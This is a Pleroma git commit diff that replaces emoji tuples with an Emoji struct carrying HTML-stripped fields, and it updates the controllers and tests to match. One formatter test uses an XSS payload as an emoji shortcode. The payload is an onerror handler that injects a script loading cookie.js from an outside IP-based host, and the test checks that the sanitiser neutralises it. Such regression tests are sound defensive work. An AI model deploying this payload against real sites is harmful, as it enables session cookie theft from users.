added Emoji struct
authorMaksim Pechnikov <parallel588@gmail.com>
Sat, 31 Aug 2019 07:14:53 +0000 (10:14 +0300)
committerMaksim Pechnikov <parallel588@gmail.com>
Sat, 31 Aug 2019 07:14:53 +0000 (10:14 +0300)
lib/pleroma/emoji.ex
lib/pleroma/emoji/formatter.ex
lib/pleroma/emoji/loader.ex
lib/pleroma/web/common_api/utils.ex
lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
lib/pleroma/web/twitter_api/controllers/util_controller.ex
test/emoji/formatter_test.exs
test/emoji_test.exs

index ab6ba7d6a14997a3ccc6fef8154e4bb9aa6a58de..b246bfbe672c417036a15ea858ba3d6a27dd0cd2 100644 (file)
@@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do
     {:read_concurrency, true}
   ]
 
+  defstruct [:code, :file, :tags, :safe_code, :safe_file]
+
+  @doc "Build emoji struct"
+  def build({code, file, tags}) do
+    %__MODULE__{
+      code: code,
+      file: file,
+      tags: tags,
+      safe_code: Pleroma.HTML.strip_tags(code),
+      safe_file: Pleroma.HTML.strip_tags(file)
+    }
+  end
+
+  def build({code, file}), do: build({code, file, []})
+
   @doc false
   def start_link(_) do
     GenServer.start_link(__MODULE__, [], name: __MODULE__)
index acdef3988eeef967d61ef59a99a17687a4051047..4869d073e6d25abcff3992feaf75683720124d67 100644 (file)
@@ -15,12 +15,12 @@ defmodule Pleroma.Emoji.Formatter do
 
   def emojify(text, emoji, strip \\ false) do
     Enum.reduce(emoji, text, fn
-      {_, _, _, emoji, file}, text ->
+      {_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
         String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
 
-      emoji_data, text ->
-        emoji = HTML.strip_tags(elem(emoji_data, 0))
-        file = HTML.strip_tags(elem(emoji_data, 1))
+      {unsafe_emoji, unsafe_file}, text ->
+        emoji = HTML.strip_tags(unsafe_emoji)
+        file = HTML.strip_tags(unsafe_file)
         String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
     end)
     |> HTML.filter_tags()
@@ -40,7 +40,7 @@ defmodule Pleroma.Emoji.Formatter do
 
   @doc "Outputs a list of the emoji-shortcodes in a text"
   def get_emoji(text) when is_binary(text) do
-    Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+    Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
       String.contains?(text, ":#{emoji}:")
     end)
   end
@@ -50,7 +50,7 @@ defmodule Pleroma.Emoji.Formatter do
   @doc "Outputs a list of the emoji-Maps in a text"
   def get_emoji_map(text) when is_binary(text) do
     get_emoji(text)
-    |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
+    |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
       Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
     end)
   end
index 82fc3b8c34b9834ef155cb3313744ddc7b3dd176..83931671389722792345564700876ebe8aae9656 100644 (file)
@@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do
     * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
   """
   alias Pleroma.Config
+  alias Pleroma.Emoji
 
   require Logger
 
   @type pattern :: Regex.t() | module() | String.t()
   @type patterns :: pattern() | [pattern()]
   @type group_patterns :: keyword(patterns())
-  @type emoji :: {String.t(), String.t(), list(String.t())}
+  @type emoji :: {String.t(), Emoji.t()}
 
   @doc """
   Loads emojis from files/packs.
@@ -81,15 +82,7 @@ defmodule Pleroma.Emoji.Loader do
     Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
   end
 
-  defp prepare_emoji({code, file, tags} = _emoji) do
-    {
-      code,
-      file,
-      tags,
-      Pleroma.HTML.strip_tags(code),
-      Pleroma.HTML.strip_tags(file)
-    }
-  end
+  defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
 
   defp load_pack(pack_dir, emoji_groups) do
     pack_name = Path.basename(pack_dir)
index d6907f707ed498bbdddf5b77a4bfeaf7b7cdb3f1..1fb95f4ab854800f30edb3a3835f77ce9169f096 100644 (file)
@@ -436,7 +436,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
 
   def emoji_from_profile(%{info: _info} = user) do
     (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
-    |> Enum.map(fn {shortcode, url, _, _, _} ->
+    |> Enum.map(fn {shortcode, %Emoji{file: url}} ->
       %{
         "type" => "Emoji",
         "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
index 4f63b03cf9b4f1cd259867c5a81522acc457c037..a50c060bf7c50123a829e9a78395446002f4cbfb 100644 (file)
@@ -331,7 +331,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
 
   defp mastodonized_emoji do
     Pleroma.Emoji.get_all()
-    |> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
+    |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
       url = to_string(URI.merge(Web.base_url(), relative_url))
 
       %{
index 92348024203b32ecd55b48edc856ce811e0cfca9..c147920689bc5f11ce00f328154f8a7d57c1e7b0 100644 (file)
@@ -239,11 +239,9 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do
 
   def emoji(conn, _params) do
     emoji =
-      Emoji.get_all()
-      |> Enum.map(fn {short_code, path, tags, _, _} ->
-        {short_code, %{image_url: path, tags: tags}}
+      Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
+        Map.put(acc, code, %{image_url: file, tags: tags})
       end)
-      |> Enum.into(%{})
 
     json(conn, emoji)
   end
index 8b510f48bb35435dace8a7f11d98dd5410cbefc9..6d25fc45322b89c335d7978f6362bfcc50f23a65 100644 (file)
@@ -3,6 +3,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 
 defmodule Pleroma.Emoji.FormatterTest do
+  alias Pleroma.Emoji
   alias Pleroma.Emoji.Formatter
   use Pleroma.DataCase
 
@@ -20,15 +21,17 @@ defmodule Pleroma.Emoji.FormatterTest do
       text =
         "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
 
-      custom_emoji = %{
-        "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+      custom_emoji =
+        {
+          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
           "https://placehold.it/1x1"
-      }
+        }
+        |> Pleroma.Emoji.build()
 
       expected_result =
         "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
 
-      assert Formatter.emojify(text, custom_emoji) == expected_result
+      assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
     end
   end
 
@@ -37,7 +40,14 @@ defmodule Pleroma.Emoji.FormatterTest do
       text = "I love :firefox:"
 
       assert Formatter.get_emoji(text) == [
-               {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+               {"firefox",
+                %Emoji{
+                  code: "firefox",
+                  file: "/emoji/Firefox.gif",
+                  tags: ["Gif", "Fun"],
+                  safe_code: "firefox",
+                  safe_file: "/emoji/Firefox.gif"
+                }}
              ]
     end
 
index 82f9c52ff1f0576c78f700d9fd50e3a3555d2a1b..1fdbd0fdfd7d57880cf9992bf340975a8f7dabd3 100644 (file)
@@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
 
     test "first emoji", %{emoji_list: emoji_list} do
       [emoji | _others] = emoji_list
-      {code, path, tags, _, _} = emoji
+      {code, %Emoji{file: path, tags: tags}} = emoji
 
-      assert tuple_size(emoji) == 5
+      assert tuple_size(emoji) == 2
       assert is_binary(code)
       assert is_binary(path)
       assert is_list(tags)
@@ -24,9 +24,9 @@ defmodule Pleroma.EmojiTest do
 
     test "random emoji", %{emoji_list: emoji_list} do
       emoji = Enum.random(emoji_list)
-      {code, path, tags, _, _} = emoji
+      {code, %Emoji{file: path, tags: tags}} = emoji
 
-      assert tuple_size(emoji) == 5
+      assert tuple_size(emoji) == 2
       assert is_binary(code)
       assert is_binary(path)
       assert is_list(tags)